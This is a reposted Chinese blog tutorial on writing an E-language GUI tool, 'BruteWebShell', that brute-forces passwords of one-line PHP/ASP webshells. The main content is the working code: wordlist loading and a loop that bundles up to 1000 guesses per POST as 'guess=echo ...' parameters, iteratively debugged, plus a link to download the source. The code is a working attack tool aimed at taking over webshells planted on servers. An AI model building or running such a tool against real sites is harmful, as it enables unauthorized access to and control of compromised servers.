易语言之WebshellBrute神器打造

1.课前要掌握的易语言姿势:
数组:循环 and 判断(故作神秘不放图)

2.思路整理
093329jjuwfh9ac9a1s0c5.jpg
看了冰河表哥的文章:http://bbs.ichunqiu.com/thread-16952-1-1.html
思路甚叼,膜拜一发。

一句话概括:多参提交爆破
101406yn6ilnz8d1866mlb.jpg




3.外壳构造
101358mpkx799el7zzeoxk.jpg

编辑框 * 3:
字典、地址、并发数

按钮 * 2:
导入字典、爆破

单选框 * 2:
PHP、ASP

透明标签 * 2:
字典数量、0


看起来很牛逼,其实直接使用组件拖拉即可(类似于VB):
101351o40bbcjqts2z1tb0.jpg

4.代码构造
代码构造这边不讲细节只讲核心代码部分。(变量创建什么的自行解决)
按照界面操作的流程来:

1.导入字典

2.填写URL

3.填写并发数

4.选择脚本类型

5.爆破


对流程分布进行功能实现:
1.导入字典
字典的特征:一行一个
根据特征写代码:

通用对话框1.打开 ()
编辑框_字典.内容 = 到文本 (读入文件 (通用对话框1.文件名))
透明标签2.标题 = 到文本 (取数组成员数 (字典))


这样就使得我们的字典可以一个一个被我们使用了。

中间的流程无关紧要,重要的是最后一步爆破的实现:
这边新建一个子程序,以多参提交的思路写好了初步代码:
101944mvqa1vvihxkva2rk.jpg
 

.版本 2

.计次循环首 (取数组成员数 (字典), count_1)
    text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
    .如果真 (count_2 = 到整数 (编辑框1.内容) 或 count_1 = 取数组成员数 (字典))
        text = text + “++++++”
        text = 文本_替换 (text, , , , “&++++++”, “”)
        源码 = 到文本 (网页_访问 (编辑框_URL.内容, 1, text))
        .如果真 (源码 ≠ “”)
            _启动窗口.标题 = “BruteWebShell 一句话木马快速爆破 - 爆破成功!”
            按钮_爆破.标题 = “爆破”
            信息框 (源码, 0, , )
            编辑框_URL.内容 = 编辑框_URL.内容 + 源码
            跳出循环 ()
        .如果真结束
        count_2 = 0
        text = “”
    .如果真结束
    count_2 = count_2 + 1
.计次循环尾 ()


我的代码思路:
先写好POST提交的代码:

网页_访问 (编辑框_URL.内容, 1, text)


因为多参提交是有限制的,Apache 默认可以接受1000个参数并发提交,IIS 默认可以接受5883个参数并发提交
所以先构造一个子程序work_php,常识把1000个参数加入到一个变量中,PHP的参数格式a=echo 'password is a';
就有了代码:

计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';”
网页_访问 (编辑框_URL.内容, 1, text)
计次循环尾 ()


但是多个参数提交的时候每两个参数之间都需要连接参数的符号&,就在最后又加上去了:

计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
网页_访问 (编辑框_URL.内容, 1, text)
计次循环尾 ()


问题:如果我的字典数量高于1000个该怎么办?
103331q9z95sh62ullhsf3.gif
这个问题问的好~

怎么办呢?当然是使用判断来办~

最初的代码是:

计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
如果真(count_2=1000)
  网页_访问 (编辑框_URL.内容, 1, text)

count_2=count_2+1
计次循环尾 ()


如此看来似乎完成了,但是让你的如果真的代码执行完毕,text变量就会按照原来的继续增加~所以这时候修妖在如果真当中的代码加text = ""
并且还有个缺点就是count_2变量也无法正常的进行每1000个POST请求一次,所以加上 count_2=0 让变量初始化一下:

计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
如果真(count_2=1000)
  网页_访问 (编辑框_URL.内容, 1, text)
  text = ""
  count_2=0

count_2=count_2+1
计次循环尾 ()


这边还有一个小问题,就是1000个字典结合起来最后会多一个&符号,所以我们可以替换&为空:

text = 文本_替换 (text, , , , “&”, “”)


这样真的可以?text变量中可是有1000个&号哦,那么就尝试让最后一个&号变得特殊一点:

text = text + “++++++”
text = 文本_替换 (text, , , , “&++++++”, “”)


在后面加几个+号,然后替换就OK了~

114113rbnr2fis5neifens.jpg

最后在跟界面操作对接完善一下:

计次循环首 (取数组成员数 (字典), count_1)
text = text + 字典 [count_1] + “=echo 'Password is ” + 字典 [count_1] + “';&”
如果真(count_2=到文本(编辑框1.内容))
  text = text + “++++++”
  text = 文本_替换 (text, , , , “&++++++”, “”)  
  源码=网页_访问 (编辑框_URL.内容, 1, text)
    如果真(源码 ≠ “”)
            _启动窗口.标题 = “BruteWebShell 一句话木马快速爆破 - 爆破成功!”
            按钮_爆破.标题 = “爆破”
            信息框 (源码, 0, , )
            编辑框_URL.内容 = 编辑框_URL.内容 + 源码
  text = ""
  count_2=0

count_2=count_2+1
计次循环尾 ()


一切似乎大功告成,做了一份1128个字典的文件进行测试:
114155n1qbh07hh77zdh1s.jpg

把正确的一句话密码key放在最后进行测试,却发现爆破不出来~
114743w55gtye535s3g52e.jpg

因为在这里我只处理了1000个但是剩下的128个却无法处理,所以在这我们可以使用逻辑判断
 

如果真(count_2=到文本(编辑框1.内容) 或 count_1 = 取数组成员数 (字典))
......


含义:除了1000个以外,剩余的也可以进行POST请求~ 这边实在不理解 可以去看下变量count_1是干嘛的~


OK,测试一下:
115313kb7277bnd746ia7h.jpg

这就成功了~

5.我是结尾
看到最后,你明白了吗?换位思考,应该理解不了为什么多参请求的格式要是a=echo "Password is a";吧?

很简单,因为你的字典是a所以要用php的输出函数echo输出字典a,这样就可以判断密码是多少啦~

源码下载: http://bbs.ichunqiu.com/thread-17406-1-1.html

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php

转载于:https://my.oschina.net/ichunqiu/blog/817797

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值